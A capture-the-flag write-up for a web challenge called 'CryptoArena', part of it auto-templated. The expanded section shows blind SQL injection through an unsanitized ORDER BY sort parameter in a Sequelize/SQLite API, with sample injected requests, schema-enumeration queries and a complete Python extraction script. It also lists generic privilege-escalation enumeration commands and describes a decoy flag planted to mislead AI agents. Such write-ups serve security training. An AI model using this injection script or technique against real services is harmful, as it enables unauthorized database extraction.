CryptoArena — ORM Injection in Market Filter
CryptoArena — ORM Injection in Market Filter
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-01 | Status: Solved Techniques: boolean_based_blind_sqli, decoy_flag_identification, dqs_double_quote_bypass, like_pattern_matching_extraction, order_by_sql_injection, sequelize_operator_injection, sqlite_schema_enumeration
Summary
Task: CryptoArena cryptocurrency tracker with Sequelize ORM on SQLite; sort parameter in /api/markets passed directly to ORDER BY clause without sanitization. Solution: boolean-based blind SQL injection via CASE WHEN in sort parameter, using double quotes (SQLite DQS) and LIKE pattern matching to extract flag from system_configs table.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260501_hackadvisor_cryptoarena - Tags: api, blind_sqli, boolean_based, cryptocurrency, decoy_flag, express, nodejs, order_by_injection, orm_injection, rest_api, sequelize, sort_parameter, SQLi, sqlite
- Indicators: sort parameter passed directly to ORDER BY clause, Sequelize ORM with unsanitized sort field, SQLite backend with DQS extension enabled, SUBSTR/SUBSTRING functions blocked requiring LIKE-based extraction, decoy flag planted in HTML comments to mislead automated tools
- Source:
20260501_hackadvisor_cryptoarena.md
Foothold
Vulnerability / Misconfiguration
- Boolean_based_blind_sqli
- Decoy_flag_identification
- Dqs_double_quote_bypass
- Like_pattern_matching_extraction
- Order_by_sql_injection
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- boolean_based_blind_sqli
- decoy_flag_identification
- dqs_double_quote_bypass
- like_pattern_matching_extraction
- order_by_sql_injection
- sequelize_operator_injection
- sqlite_schema_enumeration
- Tags: api, blind_sqli, boolean_based, cryptocurrency, decoy_flag, express, nodejs, order_by_injection, orm_injection, rest_api, sequelize, sort_parameter, SQLi, sqlite
Original Writeup
<details><summary>Click to expand original content</summary>Description
CryptoArena is a cryptocurrency portfolio tracker and trading simulator. The platform provides real-time market data, portfolio tracking, price alerts, and market search functionality. You've been asked to test the security of CryptoArena's API endpoints. The developers use an ORM for most database queries, but some endpoints handle user input in unusual ways. Objective: Find an injection vulnerability that lets you extract data from the database. The flag is stored as a secret value in the application's internal configuration table. Test credentials: user@test.com / password123.
English summary: A cryptocurrency portfolio tracker built with Express.js, Sequelize ORM, and SQLite. The /api/markets endpoint accepts filter and sort parameters. While the filter parameter is processed through Sequelize's ORM layer (with operator sanitization), the sort parameter is passed directly into the SQL ORDER BY clause without any sanitization, enabling SQL injection. The flag is stored in the system_configs table. A decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} is planted in HTML comments on every page to mislead AI agents and automated scanners.
Analysis
Authentication
- POST
/api/auth/loginwith{"email":"user@test.com","password":"password123"}returns aconnect.sidsession cookie.
Reconnaissance
- Backend: Express.js (revealed by
X-Powered-By: Expressheader), SQLite database, Sequelize ORM. - Key endpoint:
GET /api/marketsaccepts: filter— JSON object passed to Sequelize'swhereclause (e.g.,filter={"name":{"$like":"%Bitcoin%"}})sort— sort field/expression passed directly toORDER BYorder— ASC/DESClimit— result count- Decoy trap: Every page contains
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in HTML comments and hidden divs — the name literally says "decoy not real trap for bots".
Vulnerability
The filter parameter has Sequelize operator sanitization, but the sort parameter is concatenated directly into the SQL ORDER BY clause without any validation or parameterization. This allows arbitrary SQL expressions in the sort field.
Constraints discovered during exploitation
- Single quotes are stripped by the application — must use double quotes instead (SQLite DQS extension treats double-quoted strings as string literals when they don't match a column name).
- SUBSTR/SUBSTRING functions are blocked — must use LIKE pattern matching for character-by-character extraction.
Solution
Step 1: Establish Boolean Oracle
Inject CASE WHEN (condition) THEN name ELSE symbol END into the sort parameter. When the condition is TRUE, results are sorted by name column; when FALSE, by symbol column. The second result in the response differs predictably:
- TRUE → 2nd result is "Aptos" (alphabetical by name)
- FALSE → 2nd result is "Cardano" (alphabetical by symbol)
GET /api/markets?sort=CASE WHEN (1=1) THEN name ELSE symbol END&order=ASC&limit=3
→ 2nd result: "Aptos" (TRUE)
GET /api/markets?sort=CASE WHEN (1=0) THEN name ELSE symbol END&order=ASC&limit=3
→ 2nd result: "Cardano" (FALSE)
Step 2: Enumerate Database Schema
Using the boolean oracle with double-quoted strings:
-- Confirm SQLite backend EXISTS(SELECT 1 FROM sqlite_master WHERE type="table") → TRUE -- Count tables (SELECT COUNT(*) FROM sqlite_master WHERE type="table")=5 → TRUE -- Extract table names via GROUP_CONCAT -- Found: markets, users, sessions, watchlists, system_configs
Step 3: Locate the Flag
-- Confirm flag is in system_configs EXISTS(SELECT 1 FROM system_configs WHERE value LIKE "FLAG%" ESCAPE "\\") → TRUE -- Determine flag length LENGTH((SELECT value FROM system_configs WHERE value LIKE "FLAG%"))=38 → TRUE
Step 4: Extract Flag Character-by-Character
Since SUBSTR is blocked, used LIKE pattern matching with ESCAPE clause to extract each character:
EXISTS(SELECT 1 FROM system_configs WHERE value LIKE "FLAG{7%" ESCAPE "\\") → TRUE
EXISTS(SELECT 1 FROM system_configs WHERE value LIKE "FLAG{7f%" ESCAPE "\\") → TRUE
-- ... continue for each position
Full Exploit Script
#!/usr/bin/env python3
"""
CryptoArena - Extract flag via LIKE-based blind SQL injection
Sort parameter ORDER BY injection in /api/markets
"""
import requests
import string
TARGET = "https://TARGET.labs.hackadvisor.io"
def login():
s = requests.Session()
r = s.post(f"{TARGET}/api/auth/login", json={
"email": "user@test.com",
"password": "password123"
})
print(f"[*] Login: {r.json().get('success')}")
return s
session = login()
def check_bool(condition):
"""Returns True if SQL condition is true via sort-based oracle"""
sort_expr = f'CASE WHEN ({condition}) THEN name ELSE symbol END'
r = session.get(f"{TARGET}/api/markets", params={
"sort": sort_expr,
"order": "ASC",
"limit": 3
})
data = r.json()
if not data.get("data") or len(data["data"]) < 2:
return None
return data["data"][1]["name"] == "Aptos"
# Verify oracle
assert check_bool("1=1") == True
assert check_bool("1=0") == False
print("[+] Oracle verified")
# Extract flag using LIKE pattern matching
# Double quotes for strings (SQLite DQS), LIKE instead of SUBSTR (blocked)
CHARSET = string.ascii_lowercase + string.digits + string.ascii_uppercase + "_-!@#$%^&*(){}[]|"
known = "FLAG{"
flag_len = 38
print(f"[*] Extracting flag ({flag_len} chars)...")
for pos in range(len(known), flag_len):
found = False
if pos == flag_len - 1:
# Last char — try exact match with }
test = known + "}"
cond = f'EXISTS(SELECT 1 FROM system_configs WHERE value="{test}")'
if check_bool(cond):
known += "}"
found = True
if not found:
for c in CHARSET:
like_prefix = known.replace("%", "\\%").replace("_", "\\_")
like_c = c
if c == '%':
like_c = "\\%"
elif c == '_':
like_c = "\\_"
pattern = like_prefix + like_c + "%"
cond = f'EXISTS(SELECT 1 FROM system_configs WHERE value LIKE "{pattern}" ESCAPE "\\")'
if check_bool(cond):
known += c
print(f"[+] Pos {pos+1}: {c} -> {known}")
found = True
break
if not found:
print(f"[!] Stuck at position {pos+1}")
break
print(f"\n[+] FLAG: {known}")
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR